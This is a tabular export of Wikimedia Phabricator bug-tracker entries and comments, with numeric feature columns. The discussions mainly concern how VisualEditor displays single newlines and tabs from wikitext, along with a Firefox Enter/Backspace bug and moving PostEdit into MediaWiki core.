+219183,Jenkins: Set up JavaScript code coverage analysis,I think we want QUnit tests on a few more extensions before adding code coverage. Thus lowering priority.,,,1371757672,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+50290,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Single newlines have no effect on the way a wiki page is displayed.
+So they should be ignored in a WYSIWYG editor.
+
+Example: Third line at http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services#Specification_progress_.26_TC_members",Medium,50.0,1368091860,,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-o45i4q2kievixjidhsk7,task_description,open,True,c1,1,False,False,,-8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+1950786,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","On enwiki, one of the common uses of this is when people have a big {{Cite}} template and hit enter after it for readability.
+
+One thing having this character visible does is encourage experienced editors to delete it.
+
+When I was a newer editor, I had no idea what this character meant and it took me awhile to figure it out.
+
+Anyway, I think leaving it as is (current behavior) or removing it from being seen in the visual editor without changing any wikitext would be acceptable options. I don't think ""silently strip"" is a good option.
+",,,1657957730,,PHID-USER-qydb7ytmqqctg7dn7fqa,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,471,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,0
+903427,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","That sounds very project-specific.  In my experience, line breaks (shown as '↵' in VisualEditor) on enwiki often mean that someone has copied and pasted the text from another document (e.g., written the text offline in a word processor).  It only rarely seems to be done intentionally.
+
+(Also, what if a line break someday stopped being interpreted as a space?)",,,1501341568,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,212,,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+903364,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Additional [[ https://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/R%C3%BCckmeldungen#Zeichen_.27.E2.86.B5.27_taucht_in_Abs.C3.A4tzen_im_VisualEditor_auf.2C_wird_aber_nicht_erkl.C3.A4rt | feedback from a German editor]] regarding this issue:
+""Wikipedians delete the '↵' in VisualEditor and replace it with a space. But this character '↵' only indicates that a break was added to the source for better readability, which is automatically translated into a space. It's often used in long citation blocks, for example. This' ↵'-character makes the Wikitext / source text more readable. The good readability of the source text in the source editor (Edit window) is still one of the quality indicators explicitly mentioned in our guidelines for good articles. The meaning in the VisualEditor is only that the user should insert a new text not to the left but to the right of the '↵' character. Just simply so that the line break in the source text remains directly behind the left character. But, when looking at the instructions, this subtlety is not mentioned. Also, no warning is displayed when you delete the '↵' character in the VisualEditer. Apparently the character can not be inserted in the VirtualEditor any more, if it was deleted. [...] I would hope that there is a warning when deleting the character or a tooltip when the mouse is hovering above the character. Thank you.""",,,1501320721,,PHID-USER-kuuo2hpmktiqobsevyw6,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,212,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+418428,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","@Jdforrester-WMF let me try to rephrase to see if I understand, the
+carriage return symbol is shown in VE because a wikitext editor has
+included a line break in the editing environment to increase readability of
+the wikitext, however this does not affect the presentation of the content
+in read mode, and is meaningless and confusing to VE editors.
+
+However there is a worry (by whom?) that not showing the character at all
+would make it much easier for a VE editor to accidentally remove the
+character because it has no visual representation. On the other hand
+visualizing it as an actual line-break causes inconsistency between edit
+and read modes (which currently exists in wikitext/read more)
+
+Is that summary clear and factual?
+
+
+
+*Jared Zimmerman * \\  Director of User Experience \\ Wikimedia Foundation
+
+M +1 415 609 4043 \\ @jaredzimmerman <http://loo.ms/g0>",,,1425063560,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,86,,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1
+418408,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",">>! In T50290#1074137, @Jaredzimmerman-WMF wrote:
+> Unless I'm misunderstanding Whatamidoing, I think they mean that we copy
+> line breaks in as actual linebreaks, so that reading and editing look the
+> same and no one actually sees that carriage return symbol ever.
+
+Yes, you're entirely missing the point here.
+
+* Actual reader-visible new paragraphs (from two new lines after each other in wikitext) are shown as new paragraphs.
+* Actual reader-visible line breaks (from a <br /> tag) are shown as line breaks.
+
+This is about how to represent the reader-invisible nonsense wikitext single new line. See T50290#499295 for details; nothing's changed here since May 2013.",,,1425062104,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,86,,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+418405,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Unless I'm misunderstanding Whatamidoing, I think they mean that we copy
+line breaks in as actual linebreaks, so that reading and editing look the
+same and no one actually sees that carriage return symbol ever.
+
+
+
+*Jared Zimmerman * \\  Director of User Experience \\ Wikimedia Foundation
+
+M +1 415 609 4043 \\ @jaredzimmerman <http://loo.ms/g0>",,,1425061938,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,86,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+418401,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",">>! In T50290#1074123, @Whatamidoing-WMF wrote:
+> I like the idea of showing it as a line break.  This might make more sense to less-technical people that have just copy-pasted text out of another document (one of the apparent causes) than the insertion of an unexpected symbol.
+
+I'm not a fan of making VE less like the reading experience, though.",,,1425061657,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,86,,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+418400,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",I like the idea of showing it as a line break.  This might make more sense to less-technical people that have just copy-pasted text out of another document (one of the apparent causes) than the insertion of an unexpected symbol.,,,1425061578,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,86,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+214658,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 57454 has been marked as a duplicate of this bug. ***,,,1415882814,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,71,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+214653,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 68811 has been marked as a duplicate of this bug. ***,,,1406754254,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,56,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+214649,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 65324 has been marked as a duplicate of this bug. ***,,,1401419217,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+214642,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Indeed not WYSIWYG, but I happen to love this feature. I practically always remove these links when I see them. I'd say WONTFIX.",,,1400608205,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+214634,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 50641 has been marked as a duplicate of this bug. ***,,,1394482866,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+214626,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG",*** Bug 61569 has been marked as a duplicate of this bug. ***,,,1393537023,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+214622,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","(In reply to comment #2)
+> Newline characters are more debatable, because some people use them to make
+> wikicode more readable.
+
+...and I remmember some people use them to make diffs more readable[citation needed].",,,1372607697,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1
+214618,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Example of TAB characters:
+http://en.wikipedia.org/wiki/Refrigerator#Production_by_country",,,1368684670,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+214613,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","Same for TAB characters, which are shown as ➞
+
+TAB characters have no meaning in wikicode, and I can't imagine anyone entering them for any purpose (plus they are difficult to enter in an HTML form).
+I have never seen a case where they are intended (please point me to any example if I am mistaken).
+
+I personally think TABs are a case where silent stripping would be acceptable.
+
+---
+
+Newline characters are more debatable, because some people use them to make wikicode more readable.",,,1368684616,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,1,False,,,-7,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+214608,"VisualEditor: ↵ is shown when wikicode contains single newline, which is not very WYSIWYG","(In reply to comment #0)
+> Single newlines have no effect on the way a wiki page is displayed.
+> So they should be ignored in a WYSIWYG editor.
+> 
+> Example: Third line at
+> http://en.wikipedia.org/wiki/
+> Content_Management_Interoperability_Services#Specification_progress_.
+> 26_TC_members
+
+Yeah, this is a bit of a mess. In wikitext (except in some circumstances like <pre>s), \n is a whitespace character, rendered as either a space or as nothing depending on the things around it, but \n\n is ""</p><p>"".
+
+We could:
+
+* Silently strip non-conformant wikitext syntax like this on ingest, but this would mean that VisualEditor would not play well with other, wikitext-based users.
+
+* Show the newline as a line break in VisualEditor - in a way that (a) doesn't look like a new paragraph/context has started, and (b) doesn't look like <br />s will look, either, and in some way conveys the fact that it's different.
+
+* (Current behaviour) Show the newline as a special kind of character in VisualEditor - in a way that (a) doesn't look like a 'real' new line, because it isn't.
+
+* Silently not show the new line as such (but instead as… a space?), which is prone to having users accidentally alter them without intention, again causing problems for intermixed VisualEditor and wikitext editor sessions.
+
+What are your thoughts?",,,1368110457,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o45i4q2kievixjidhsk7,task_subcomment,,True,c1,1,True,,,-8,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+50284,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
+Put the cursor somewhere in the text.
+Type ""Enter"" 2 times.
+Type ""Backspace"" 2 times.
+
+Expected: as original
+Actually: The newlines remain
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1368089280,1370445778.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-2f2dgqt54eqesg4exgwo,task_description,resolved,True,c1,1,False,False,True,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+214285,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox",This is now fixed in live.,,,1370445778,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+214280,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","Just reproduced on Firefox 21.0 / fresh install of Ubuntu Linux 2013.04
+Nothing special appears in the web console.",,,1369662058,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+214275,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox",Browser information highly welcome. Reopening for the time being.,,,1369661193,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,True,,,-5,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+214270,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","When will the master fixes be deployed?
+The situation is now horrible in production, with so many bugs that I am wondering whether it is even worth reporting them...",,,1369635503,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,False,,,-5,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,0,0,0
+214264,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","I just tried, it is a worse problem now, text is lost.",,,1369277166,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+214256,"VisualEditor: Enter 2 times, Backspace 2 times -> not deleted in Firefox","**orbit** wrote:
+
+I'm not able to reproduce this one either. I experience other problems relating to Enter and Backspace on Firefox (fixed in Master) but not what you've described. I'm going to close this ticket, but please reopen if you have additional information.",,,1369260407,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2f2dgqt54eqesg4exgwo,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+50276,PostEdit: Core-ify this,"As discussed with Steven W. just now, we should move this into MW core (so, amongst other things, VisualEditor can depend on it and not have to re-invent the wheel).
+
+--------------------------
+**Version**: master
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=16066",Medium,50.0,1368050160,1370049933.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ju6nd3s77iuekvlfhra5,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+213925,PostEdit: Core-ify this,"That's a cherry-pick back to wmf5, so no wikis that currently have PostEdit will lose it when we disable the extension.",,,1370051316,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+213919,PostEdit: Core-ify this,Related URL: https://gerrit.wikimedia.org/r/66316 (Gerrit Change I01cfc0630c3a505af82922844b5e70c1d61f3c1d),,,1370051236,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+213911,PostEdit: Core-ify this,"(In reply to comment #1)
+> Related URL: https://gerrit.wikimedia.org/r/66137 (Gerrit Change
+> I01cfc0630c3a505af82922844b5e70c1d61f3c1d)
+
+Merged.",,,1370049933,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+213902,PostEdit: Core-ify this,"Just for posterity, I'm noting bug 16066 here.",,,1369960333,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+213892,PostEdit: Core-ify this,"(In reply to comment #2)
+> I should note that one extension depending on another is *not* a legitimate
+> reason for moving the dependency into the core. That said, I still agree with
+> the merging of this extension since it's a trivial feature.
+
+Yes, I agree completely. There had already been wide agreement that this should be moved into core; the VisualEditor requirement is just a spur.",,,1369941490,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,True,,,-5,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+213882,PostEdit: Core-ify this,"(In reply to comment #0)
+> As discussed with Steven W. just now, we should move this into MW core (so,
+> amongst other things, VisualEditor can depend on it and not have to re-invent
+> the wheel).
+
+I should note that one extension depending on another is *not* a legitimate reason for moving the dependency into the core. That said, I still agree with the merging of this extension since it's a trivial feature.",,,1369941304,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+213876,PostEdit: Core-ify this,Related URL: https://gerrit.wikimedia.org/r/66137 (Gerrit Change I01cfc0630c3a505af82922844b5e70c1d61f3c1d),,,1369937979,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50274,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","We use textarea which means that browsers don't suggest text from previous uses.
+
+**See Also**:
+{T53903}
+{T54859}
